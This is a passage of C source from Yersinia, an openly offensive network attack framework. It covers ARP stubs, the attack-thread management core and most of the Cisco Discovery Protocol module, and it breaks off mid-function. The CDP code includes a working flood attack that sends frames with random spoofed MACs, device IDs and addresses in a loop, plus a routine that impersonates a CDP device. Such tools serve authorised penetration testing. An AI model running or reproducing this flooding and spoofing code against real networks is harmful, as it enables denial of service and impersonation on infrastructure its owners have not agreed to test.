extern int8_t thread_destroy_cancel(pthread_t);
extern void thread_free_r(void *);
extern int8_t init_attribs(struct term_node *);
#endif
/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
================================================
FILE: src/arp.c
================================================
/* arp.c
* Implementation and attacks for Address Resolution Protocol
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#ifndef _REENTRANT
#define _REENTRANT
#endif
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <time.h>
#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifdef HAVE_STRING_H
#include <string.h>
#endif
#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif
#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif
#ifdef STDC_HEADERS
#include <stdlib.h>
#endif
#ifdef HAVE_PTHREAD_H
#include <pthread.h>
#endif
#include <stdarg.h>
#include "arp.h"
void
arp_register(void)
{
protocol_register(PROTO_ARP, "ARP", "Address Resolution Protocol", "arp",
sizeof(struct arp_data), NULL, NULL, NULL,
NULL, NULL, arp_attack, NULL,
arp_features, NULL, 0, NULL, 0, NULL, NULL, PROTO_NOVISIBLE, NULL);
}
/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
================================================
FILE: src/arp.h
================================================
/* arp.h
* Defintions for Address Resolution Protocol
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef __ARP_H__
#define __ARP_H__
#include <libnet.h>
#include "terminal-defs.h"
#include "interfaces.h"
#define ARP_SMAC 0
#define ARP_DMAC 1
#define ARP_FORMATHW 2
#define ARP_FORMATPROTO 3
#define ARP_LENHW 4
#define ARP_LENPROTO 5
#define ARP_OP 6
/* ARP stuff */
struct arp_data { /* ARP and Ethernet fields*/
u_int16_t formathw;
u_int16_t formatproto;
u_int8_t lenhw;
u_int8_t lenproto;
u_int16_t op;
/* Ethernet Data */
u_int8_t mac_source[ETHER_ADDR_LEN];
u_int8_t mac_dest[ETHER_ADDR_LEN];
};
static struct proto_features arp_features[] = {
{ F_ETHERTYPE, ETHERTYPE_ARP },
{ F_ETHERTYPE, ETHERTYPE_REVARP },
{ -1, 0}
};
static struct _attack_definition arp_attack[] = {
{ 0, NULL, 0, 0, NULL, NULL, 0 }
};
void arp_register(void);
extern void thread_libnet_error(char *, libnet_t *);
extern int8_t vrfy_bridge_id(char *, u_int8_t * );
extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t);
extern int8_t thread_create( THREAD *, void *, void *);
extern void write_log( u_int16_t mode, char *msg, ... );
extern int8_t attack_th_exit(struct attacks *);
extern void attack_gen_mac(u_int8_t *);
extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t);
extern int8_t parser_vrfy_mac(char *, u_int8_t *);
extern int8_t parser_get_inet_aton(char *, struct in_addr *);
extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t);
extern struct terminals *terms;
extern int8_t bin_data[];
#endif
/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
================================================
FILE: src/attack.c
================================================
/* attack.c
* Attacks management core
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#ifndef _REENTRANT
#define _REENTRANT
#endif
#include <stdio.h>
#include <errno.h>
#ifdef HAVE_SYS_TYPES_H
#include <sys/types.h>
#endif
#ifdef HAVE_INTTYPES_H
#include <inttypes.h>
#endif
#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifdef HAVE_STRING_H
#include <string.h>
#endif
#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif
#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif
#ifdef STDC_HEADERS
#include <stdlib.h>
#endif
#include "attack.h"
/* Launch choosed attack... */
int8_t attack_launch( struct term_node *node, u_int16_t proto, u_int16_t attack, struct attack_param *attack_params, u_int8_t nparams )
{
u_int16_t i = 0;
dlist_t *p;
void *value1, *value2;
while (i < MAX_THREAD_ATTACK)
{
if (node->protocol[proto].attacks[i].up == 0)
{
node->protocol[proto].attacks[i].up = 1;
node->protocol[proto].attacks[i].mac_spoofing = node->mac_spoofing;
node->protocol[proto].attacks[i].attack = attack;
node->protocol[proto].attacks[i].params = attack_params;
node->protocol[proto].attacks[i].nparams = nparams;
/* FIXME: temporal hasta ponerlo bien, pillamos para el ataque las interfaces del usuario */
node->protocol[proto].attacks[i].used_ints = (list_t *) calloc(1, sizeof(list_t));
for (p = node->used_ints->list; p; p = dlist_next(node->used_ints->list, p))
{
value1 = dlist_data(p);
value2 = (void *) calloc(1, sizeof(struct interface_data));
memcpy((void *)value2, (void *)value1, sizeof(struct interface_data));
node->protocol[proto].attacks[i].used_ints->list = dlist_append(node->protocol[proto].attacks[i].used_ints->list, value2);
}
node->protocol[proto].attacks[i].used_ints->cmp = interfaces_compare;
if ((node->protocol[proto].attacks[i].data = calloc(1, protocols[proto].size )) == NULL)
{
thread_error("attack_launch calloc",errno);
node->protocol[proto].attacks[i].params = NULL;
node->protocol[proto].attacks[i].nparams = 0;
node->protocol[proto].attacks[i].up = 0;
return -1;
}
memcpy(node->protocol[proto].attacks[i].data, node->protocol[proto].tmp_data, protocols[proto].size );
if ( thread_create( &node->protocol[proto].attacks[i].attack_th, //&node->protocol[proto].attacks[i].attack_th.id,
(*protocols[proto].attack_def_list[attack].attack_th_launch),
&node->protocol[proto].attacks[i]) < 0)
{
free(node->protocol[proto].attacks[i].data);
node->protocol[proto].attacks[i].params = NULL;
node->protocol[proto].attacks[i].nparams = 0;
node->protocol[proto].attacks[i].up = 0;
return -1;
}
write_log(0, " attack_launch: %X Attack thread %X is born!!\n", (int)pthread_self(), (u_long) node->protocol[proto].attacks[i].attack_th.id);
return 0;
}
i++;
} /* while...*/
return -1;
}
/*
* Kill attack thread pertaining to "node".
* If "pid" == 0 then kill *ALL* node attack threads.
* Return -1 on error. Return 0 if Ok.
*/
int8_t attack_kill_th( struct term_node *node, pthread_t pid )
{
u_int16_t i, j;
for( i=0; i < MAX_PROTOCOLS; i++ )
{
if ( protocols[i].visible )
{
for( j=0; j < MAX_THREAD_ATTACK; j++ )
{
if ( node->protocol[i].attacks[j].up == 1 )
{
if ( !pid || ( node->protocol[i].attacks[j].attack_th.id == pid ) )
{
thread_destroy( &node->protocol[i].attacks[j].attack_th );
pthread_mutex_destroy( &node->protocol[i].attacks[j].attack_th.finished );
if ( pid )
return 0;
}
}
}
}
}
return 0;
}
/* Kill attack by index... */
int8_t attack_kill_index( struct term_node *node, uint8_t proto_arg, uint8_t attack_arg )
{
if ( ( proto_arg < MAX_PROTOCOLS ) && ( attack_arg < MAX_THREAD_ATTACK ) )
{
if ( node->protocol[ proto_arg ].attacks[ attack_arg ].up == 1 )
{
thread_destroy( &node->protocol[ proto_arg ].attacks[ attack_arg ].attack_th );
pthread_mutex_destroy( &node->protocol[ proto_arg ].attacks[ attack_arg ].attack_th.finished );
return 1;
}
}
return 0 ;
}
int8_t attack_th_exit(struct attacks *attacks)
{
write_log(0," attack_th_exit -> attack_th.stop=%d attack_th.id=%X....\n",attacks->attack_th.stop, attacks->attack_th.id);
if (attacks->attack_th.stop == 0)
attacks->attack_th.id = 0;
else
attacks->attack_th.stop = 0;
if (attacks->helper_th.id)
{
write_log(0," attack_th_exit: %X thread_destroy helper %X...\n", (int)pthread_self(), (int)attacks->helper_th.id);
thread_destroy(&attacks->helper_th);
}
pthread_mutex_destroy(&attacks->helper_th.finished);
if (attacks->data)
free(attacks->data);
if (attacks->params)
{
attack_free_params(attacks->params, attacks->nparams);
free(attacks->params);
}
attacks->data = NULL;
attacks->params = NULL;
attacks->up = 0;
dlist_delete(attacks->used_ints->list);
if (attacks->used_ints)
free(attacks->used_ints);
write_log(0, " attack_th_exit: %X finished\n", (int) pthread_self());
return 0;
}
/*
* macof.c
* gen_mac from Dug Song's macof-1.1 C port
*/
void
attack_gen_mac(u_int8_t *mac)
{
*((in_addr_t *)mac) = libnet_get_prand(LIBNET_PRu32);
*((u_int16_t *)(mac + 4)) = libnet_get_prand(LIBNET_PRu16);
}
int8_t
attack_init_params(struct term_node *node, struct attack_param *param, u_int8_t nparams)
{
u_int8_t i, j, a;
for (i=0; i < nparams; i++)
{
if ( (param[i].value = calloc(1, param[i].size) ) == NULL)
{
thread_error("attack_init_parameter calloc",errno);
for (a=0; a<i; a++)
free(param[a].value);
return -1;
}
}
if (node->type == TERM_CON)
{
for (j=0; j < nparams; j++)
{
if ( (param[j].print = calloc(1, param[j].size_print+1) ) == NULL)
{
thread_error("attack_init_parameter calloc",errno);
for (a=0; a<j; a++)
free(param[a].print);
for (a=0; a<i; a++)
free(param[a].value);
return -1;
}
}
}
return 0;
}
void
attack_free_params(struct attack_param *param, u_int8_t nparams)
{
u_int8_t i;
for (i=0; i < nparams; i++)
{
if (param[i].value)
{
free(param[i].value);
}
if (param[i].print)
{
free(param[i].print);
}
}
}
/*
* Filter all attack parameters
* On success Return 0.
* On error Return -1 and error field number on "field".
*/
int8_t
attack_filter_all_params(struct attack_param *attack_param, u_int8_t nparams, u_int8_t *field)
{
u_int8_t j;
for (j=0; j<nparams; j++)
{
if ( parser_filter_param(attack_param[j].type,
attack_param[j].value,
attack_param[j].print,
attack_param[j].size_print,
attack_param[j].size ) < 0 )
{
*field = j;
return -1;
}
}
return 0;
}
================================================
FILE: src/attack.h
================================================
/* attack.h
* Definitions for attacks management core
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef __ATTACK_H__
#define __ATTACK_H__
#include <libnet.h>
#include <pcap.h>
#include "thread-util.h"
#include "interfaces.h"
#include "terminal-defs.h"
int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t );
int8_t attack_kill_th(struct term_node *, pthread_t );
int8_t attack_th_exit(struct attacks *);
int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t);
void attack_free_params(struct attack_param *, u_int8_t);
int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *);
void attack_gen_mac(u_int8_t *);
int8_t attack_kill_index( struct term_node *, uint8_t, uint8_t );
extern int8_t thread_destroy(THREAD *);
extern void write_log( u_int16_t mode, char *msg, ... );
extern int8_t parser_vrfy_mac( char *, u_int8_t *);
extern int8_t parser_vrfy_bridge_id( char *, u_int8_t *);
extern int8_t parser_get_inet_aton(char *, struct in_addr *);
extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, u_int16_t);
#endif
/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
================================================
FILE: src/cdp.c
================================================
/* cdp.c
* Implementation and attacks for Cisco Discovery Protocol
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#ifndef _REENTRANT
#define _REENTRANT
#endif
#include <stdio.h>
#include <errno.h>
#ifdef HAVE_SYS_TYPES_H
#include <sys/types.h>
#endif
#ifdef HAVE_INTTYPES_H
#include <inttypes.h>
#endif
#include <sys/socket.h>
#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <time.h>
#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifdef HAVE_STRING_H
#include <string.h>
#endif
#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif
#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif
#ifdef STDC_HEADERS
#include <stdlib.h>
#endif
#ifdef HAVE_PTHREAD_H
#include <pthread.h>
#endif
#include <stdarg.h>
#include "cdp.h"
/* Let's wait for libnet to fix the CDP code...
* meanwhile we'll do it ala Dirty Harry way...
*/
void
cdp_register(void)
{
protocol_register(PROTO_CDP, "CDP", "Cisco Discovery Protocol", "cdp",
sizeof(struct cdp_data), cdp_init_attribs, NULL,
cdp_get_printable_packet, cdp_get_printable_store,
cdp_load_values, cdp_attack,
cdp_update_field, cdp_features,
cdp_comm_params, SIZE_ARRAY(cdp_comm_params),
cdp_params_tlv, SIZE_ARRAY(cdp_params_tlv), cdp_get_extra_field, cdp_init_comms_struct,
PROTO_VISIBLE, cdp_end);
protocol_register_tlv(PROTO_CDP, cdp_edit_tlv, cdp_type_desc, cdp_tlv, SIZE_ARRAY(cdp_tlv));
}
/*
* Inicializa la estructura que se usa para relacionar el tmp_data
* de cada nodo con los datos que se sacaran por pantalla cuando
* se accede al demonio de red.
* Teoricamente como esta funcion solo se llama desde term_add_node()
* la cual, a su vez, solo es llamada al tener el mutex bloqueado por
* lo que no veo necesario que sea reentrante. (Fredy).
*/
int8_t
cdp_init_comms_struct(struct term_node *node)
{
struct cdp_data *cdp_data;
void **comm_param;
comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(cdp_comm_params));
if (comm_param == NULL)
{
thread_error("cdp_init_commands_struct calloc error",errno);
return -1;
}
cdp_data = node->protocol[PROTO_CDP].tmp_data;
node->protocol[PROTO_CDP].commands_param = comm_param;
comm_param[CDP_SMAC] = &cdp_data->mac_source;
comm_param[CDP_DMAC] = &cdp_data->mac_dest;
comm_param[CDP_VER] = &cdp_data->version;
comm_param[CDP_TTL] = &cdp_data->ttl;
comm_param[CDP_CHECKSUM] = &cdp_data->checksum;
return 0;
}
int8_t cdp_send( struct attacks *attacks )
{
struct cdp_data *cdp_data = (struct cdp_data *)attacks->data;
struct interface_data *iface_data;
struct interface_data *iface_data2;
int8_t c;
u_int8_t oui[3], *fixpacket;
u_int16_t checksum;
int32_t total_length = 0 ;
libnet_ptag_t t;
libnet_t *lhandler;
dlist_t *p;
checksum = cdp_chksum((u_int8_t *)cdp_data + 12, 4 + cdp_data->options_len);
fixpacket = calloc(1, 4 + cdp_data->options_len);
memcpy((void *)fixpacket, &cdp_data->version, 1);
memcpy((void *)fixpacket+1, &cdp_data->ttl, 1);
memcpy((void *)fixpacket+2, &checksum, 2);
memcpy((void *)fixpacket+4, cdp_data->options, cdp_data->options_len);
total_length = 4 + cdp_data->options_len;
for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) {
iface_data = (struct interface_data *) dlist_data(p);
lhandler = iface_data->libnet_handler;
oui[0] = 0x00;
oui[1] = 0x00;
oui[2] = 0x0C;
t = libnet_build_802_2snap(
0xaa, /* SNAP DSAP */
0xaa, /* SNAP SSAP */
0x03, /* control */
oui, /* oui */
0x2000, /* ARP header follows */
fixpacket, /* payload */
total_length, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
t = libnet_build_802_3(
cdp_data->mac_dest, /* ethernet destination */
(attacks->mac_spoofing) ? cdp_data->mac_source : iface_data->etheraddr,
/* ethernet source */
/* LIBNET_CDP_H is 0x08 and the first tuple is included so it's better say 4 (ttl
* + version + checksum) */
LIBNET_802_2SNAP_H + total_length, /* frame size */
NULL, /* payload */
0, /* payload size */
lhandler, /* libnet handle */
0); /* libnet id */
if (t == -1) {
thread_libnet_error( "Can't build ethernet header", lhandler);
libnet_clear_packet(lhandler);
free( fixpacket );
return -1;
}
/*
* Write it to the wire.
*/
c = libnet_write(lhandler);
if (c == -1) {
thread_libnet_error( "libnet_write error", lhandler);
libnet_clear_packet(lhandler);
free( fixpacket );
return -1;
}
libnet_clear_packet(lhandler);
protocols[PROTO_CDP].packets_out++;
iface_data2 = interfaces_get_struct(iface_data->ifname);
iface_data2->packets_out[PROTO_CDP]++;
} /* for INTERFACES*/
free( fixpacket );
return 0;
}
void cdp_th_send_raw(void *arg)
{
struct attacks *attacks = (struct attacks *)arg;
sigset_t mask;
pthread_mutex_lock(&attacks->attack_th.finished);
pthread_detach(pthread_self());
sigfillset(&mask);
if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("cdp_th_send_raw pthread_sigmask()",errno);
cdp_th_send_raw_exit(attacks);
}
cdp_send(attacks);
cdp_th_send_raw_exit(attacks);
}
void cdp_th_send_raw_exit( struct attacks *attacks )
{
attack_th_exit(attacks);
pthread_mutex_unlock(&attacks->attack_th.finished);
pthread_exit(NULL);
}
void
cdp_th_flood(void *arg)
{
struct attacks *attacks = (struct attacks *)arg;
struct cdp_data *cdp_data;
u_int8_t device[8];
sigset_t mask;
u_int32_t aux_long, lbl32;
pthread_mutex_lock(&attacks->attack_th.finished);
pthread_detach(pthread_self());
sigfillset(&mask);
if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("cdp_th_flood pthread_sigmask()",errno);
cdp_th_flood_exit(attacks);
}
cdp_data = attacks->data;
cdp_data->version = CDP_DFL_VERSION;
parser_vrfy_mac("01:00:0C:CC:CC:CC", cdp_data->mac_dest);
/* Max TTL */
cdp_data->ttl = 255;
aux_long = CDP_CAP_LEVEL3_ROUTING;
/* Create packet */
cdp_create_tlv_item(cdp_data, CDP_TYPE_DEVID, "yersinia");
lbl32 = libnet_get_prand(LIBNET_PRu32);
cdp_create_tlv_item(cdp_data, CDP_TYPE_ADDRESS, (u_int32_t *)&lbl32);
cdp_create_tlv_item(cdp_data, CDP_TYPE_PORTID, "Ethernet0");
cdp_create_tlv_item(cdp_data, CDP_TYPE_CAPABILITY, (u_int8_t *)&aux_long);
cdp_create_tlv_item(cdp_data, CDP_TYPE_VERSION, VERSION);
cdp_create_tlv_item(cdp_data, CDP_TYPE_PLATFORM, "yersinia");
while(!attacks->attack_th.stop)
{
/* Change MAC */
attack_gen_mac(cdp_data->mac_source);
/* Change DEVICEID */
parser_get_random_string(device, 8);
if (cdp_update_tlv_item(cdp_data, CDP_TYPE_DEVID, (void *)device) < 0) {
write_log(0, "Error in cdp_update_tlv_item\n");
cdp_th_flood_exit(attacks);
}
/* Change Address */
lbl32 = libnet_get_prand(LIBNET_PRu32);
if (cdp_update_tlv_item(cdp_data, CDP_TYPE_ADDRESS, (void *)&lbl32) < 0) {
write_log(0, "Error in cdp_update_tlv_item\n");
cdp_th_flood_exit(attacks);
}
/* Change CAPABILITIES */
aux_long = parser_get_random_int(128);
if (cdp_update_tlv_item(cdp_data, CDP_TYPE_CAPABILITY, (void *)&aux_long) < 0) {
write_log(0, "Error in cdp_update_tlv_item\n");
cdp_th_flood_exit(attacks);
}
/* Send the packet */
cdp_send(attacks);
#ifdef NEED_USLEEP
thread_usleep(100000);
#endif
}
cdp_th_flood_exit(attacks);
}
void cdp_th_flood_exit( struct attacks *attacks )
{
attack_th_exit(attacks);
pthread_mutex_unlock(&attacks->attack_th.finished);
pthread_exit(NULL);
}
void cdp_th_virtual_device( void *arg )
{
struct attacks *attacks = (struct attacks *)arg;
sigset_t mask;
pthread_mutex_lock(&attacks->attack_th.finished);
pthread_detach(pthread_self());
sigfillset(&mask);
if ( pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("cdp_th_virtual_device pthread_sigmask()",errno);
cdp_th_virtual_device_exit(attacks);
}
if ( ! thread_create( &attacks->helper_th, &cdp_send_hellos, attacks ) )
{
while (!attacks->attack_th.stop)
thread_usleep(200000);
}
else
write_log( 0, "cdp_th_virtual_device thread_create error\n");
cdp_th_virtual_device_exit(attacks);
}
void cdp_th_virtual_device_exit(struct attacks *attacks)
{
attack_th_exit(attacks);
pthread_mutex_unlock(&attacks->attack_th.finished);
pthread_exit(NULL);
}
void cdp_send_hellos( void *arg )
{
struct attacks *attacks = (struct attacks *)arg;
struct cdp_data *cdp_data = (struct cdp_data *)attacks->data;
struct timeval hello;
u_int16_t secs = 0;
int ret;
pthread_mutex_lock(&attacks->helper_th.finished);
pthread_detach(pthread_self());
hello.tv_sec = 0;
hello.tv_usec = 0;
write_log(0,"\n cdp_helper: %X started...\n",(int)pthread_self());
cdp_send(attacks);
while ( !attacks->helper_th.stop )
{
if ( (ret=select( 0, NULL, NULL, NULL, &hello ) ) == -1 ) {
thread_error("Error in select", errno);
break;
}
if ( !ret ) /* Timeout... */
{
/* Default hello time is ttl / 3, min 5 secs */
if (secs == ((cdp_data->ttl / 3) > 5 ? (cdp_data->ttl / 3) : 5)) /* Send CDP hello...*/
{
cdp_send(attacks);
secs=0;
}
else
secs++;
}
hello.tv_sec = 1;
hello.tv_usec = 0;
}
write_log(0," cdp_helper: %X finished...\n",(int)pthread_self());
pthread_mutex_unlock(&attacks->helper_th.finished);
pthread_exit(NULL);
}
int8_t
cdp_create_tlv_item(struct cdp_data *cdp_data, u_int16_t type, void *value)
{
u_int16_t aux_short;
u_int32_t aux_long;
u_int8_t len;
switch(type) {
case CDP_TYPE_DEVID:
case CDP_TYPE_PORTID:
case CDP_TYPE_VERSION:
case CDP_TYPE_PLATFORM:
len = strlen(value) + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2);
/* Value */
memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4);
cdp_data->options_len += len;
}
else
return -1;
break;
case CDP_TYPE_ADDRESS:
len = 13 + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2);
/* Value */
/* Number of IP */
aux_long = htonl(0x00000001);
memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4);
/* Type */
memcpy((void *)cdp_data->options + cdp_data->options_len + 8, "\x01", 1); /* NLPID */
/* Length */
memcpy((void *)cdp_data->options + cdp_data->options_len + 9, "\x01", 1);
/* Protocol */
memcpy((void *)cdp_data->options + cdp_data->options_len + 10, "\xcc", 1); /* IP */
/* Length */
aux_short = htons(0x0004);
memcpy((void *)cdp_data->options + cdp_data->options_len + 11, &aux_short, 2);
/* IP */
/* aux_long = ntohl(addr.s_addr);*/
memcpy((void *)cdp_data->options + cdp_data->options_len + 13, (void *)value, 4);
cdp_data->options_len += len;
}
else
return -1;
break;
case CDP_TYPE_CAPABILITY:
len = 4 + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)cdp_data->options + cdp_data->options_len, &aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)cdp_data->options + cdp_data->options_len + 2, &aux_short, 2);
/* Value */
aux_long = htonl((*(u_int32_t *)value));
memcpy((void *)cdp_data->options + cdp_data->options_len + 4, &aux_long, 4);
cdp_data->options_len += len;
}
else
return -1;
break;
default:
len = strlen(value) + 4;
if (cdp_data->options_len + len < MAX_TLV*MAX_VALUE_LENGTH) {
/* Type */
aux_short = htons(type);
memcpy((void *)(cdp_data->options + cdp_data->options_len), (void *)&aux_short, 2);
/* Length */
aux_short = htons(len);
memcpy((void *)(cdp_data->options + cdp_data->options_len + 2), (void *)&aux_short, 2);
/* Value */
memcpy((void *)(cdp_data->options + cdp_data->options_len + 4), (void *)value, len - 4);
cdp_data->options_len += len;
}
else
return -1;
break;
}
return 0;
}
int8_t
cdp_update_tlv_item(struct cdp_data *cdp_data, u_int16_t type, char *value)
{
u_int8_t i, value_len, j;
u_int16_t len, aux_short, offset;
u_int32_t aux_long;
int8_t gap;
i = 0;
offset = 0;
/* Find the TLV */
while ((i < MAX_TLV) && (offset < cdp_data->options_len)) {
if (ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))) > cdp_data->options_len) {
return -1; /* Oversized packet */
}
len = ntohs((*(u_int16_t *)(cdp_data->options + offset + 2)));
if (ntohs((*(u_int16_t *)(cdp_data->options + offset))) == type) { /* found */
switch(type) {
case CDP_TYPE_DEVID:
case CDP_TYPE_PORTID:
case CDP_TYPE_VERSION:
case CDP_TYPE_PLATFORM:
value_len = strlen(value);
if ((cdp_data->options_len + value_len - (len - 4)) > (MAX_TLV * MAX_VALUE_LENGTH)) {
write_log(0, "Trying to create oversized options\n");
return -1;
}
gap = value_len - (len - 4);
if (gap > 0) { /* Shift right */
for (j = cdp_data->options_len - 1; j >= offset + len; j--)
cdp_data->options[j+gap] = cdp_data->options[j];
} else if (gap < 0) { /* Shift left */
for (j = offset + len; j < cdp_data->options_len; j++)
cdp_data->options[j+gap] = cdp_data->options[j];
}
/* Compute real size */
if (gap != 0) {
aux_short = htons(len + gap);
memcpy((void *)(cdp_data->options+offset+2), &aux_short, 2);
cdp_data->options_len += gap;
}
memcpy((void *)(cdp_data->options+offset+4), value, value_len);
return 0;
break;
case CDP_TYPE_CAPABILITY:
aux_long = htonl((*(u_int32_t *)value));
memcpy((void *)(cdp_data->options+offset+4), &aux_long, 4);
return 0;
break;
case CDP_TYPE_ADDRESS:
memcpy((void *)cdp_data->options + offset + 13, (void *)value, 4);
return 0;
break;
}
}
i++;
offset += len;
}
return 0;
}
int8_t
cdp_edit_tlv(struct term_node *node, u_int8_t action, u_int8_t pointer, u_int16_t type, u_int8_t *value)
{
u_int8_t i;
u_int16_t len, offset;
u_int16_t aux_short;
u_int32_t aux_long;
struct cdp_data *cdp_data;
i = 0;
offset = 0;
cdp_data = (struct cdp_data *) node->protocol[PROTO_CDP].tmp_data;
switch(action) {
case TLV_DELETE:
/* Find the TLV */
while ((i < MAX_TLV) && (offset < cdp_data->options_len)) {
if (ntohs((*(u_int16_t *)(cdp_data->options + offset + 2))) > cdp_data->options_len) {
return -1; /* Oversized packet */
}
len = ntohs((*(u_int16_t *)(cdp_data->options + offset + 2)));
if (i == pointer) {
cdp_data->options_len -= len;
memcpy((void *)(cdp_data->options + offset), (void *)(cdp_data->options + offset + len),
cdp_data->options_len - offset);
